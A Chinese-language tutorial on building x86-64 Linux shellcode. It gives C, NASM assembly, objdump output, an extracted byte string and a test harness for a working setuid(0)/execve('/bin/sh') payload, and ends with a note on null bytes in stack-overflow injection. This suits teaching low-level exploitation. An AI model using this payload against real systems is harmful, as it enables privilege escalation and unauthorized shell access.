shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。
既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
第二种是通过调用libc里syscall(64位)和sysenter(32位)
而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可以通过先出汇编代码,然后编译成执行代码,最后查看opcode.
既然我们是想获得root权限,而且能够继续执行shell, 那么我们通常会使用下面代码(先不讨论linux相关的知识)。
shell.c
#include <stdio.h> int main(){ setuid(0); execve("/bin/sh",NULL,NULL); }而所对应的汇编代码如下
global _start _start: xor rdi,rdi xor rax,rax mov al,0x69 syscall xor rdx, rdx mov rbx, 0x68732f6e69622fff shr rbx, 0x8 push rbx mov rdi, rsp xor rax, rax push rax push rdi mov rsi, rsp mov al, 0x3b syscall这并不是通过反汇编shell.c 出来的结果,而是通过参考一些资料所得到的,可以参考 点击打开链接
nasm -f elf64 shell.asm ld -o shell shell.o objdump -d shell
注意:在64位下使用使用的elf64 而32位下使用elf32
使用objdump 结果如下:
shell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 ff xor %rdi,%rdi 400083: 48 31 c0 xor %rax,%rax 400086: b0 69 mov $0x69,%al 400088: 0f 05 syscall 40008a: 48 31 d2 xor %rdx,%rdx 40008d: 48 bb ff 2f 62 69 6e mov $0x68732f6e69622fff,%rbx 400094: 2f 73 68 400097: 48 c1 eb 08 shr $0x8,%rbx 40009b: 53 push %rbx 40009c: 48 89 e7 mov %rsp,%rdi 40009f: 48 31 c0 xor %rax,%rax 4000a2: 50 push %rax 4000a3: 57 push %rdi 4000a4: 48 89 e6 mov %rsp,%rsi 4000a7: b0 3b mov $0x3b,%al 4000a9: 0f 05 syscall ~OK, 中间的48 32 ff 48 31 c0 就是我们需要的可执行的opcode代码
shelltest.c
#include <stdio.h> #include <string.h> char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }
gcc -o shelltest shelltest.c ./shelltest
\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05就是我们想得到的可以执行的shellcode
注意: 并不是所有的可执行的shellcode都是可以被用于攻击执行的,一来函数未必可以在当前的环境下可被调用,二来也是最重要的一点opcode中不允许有/x0出现,为什么?因为在制造栈溢出的时候,我们利用的是一些危险函数的漏洞,比如strcpy这些函数在调用的时候遇到/x0是作为终止符,那么会导致opcode不能被完整复制。 |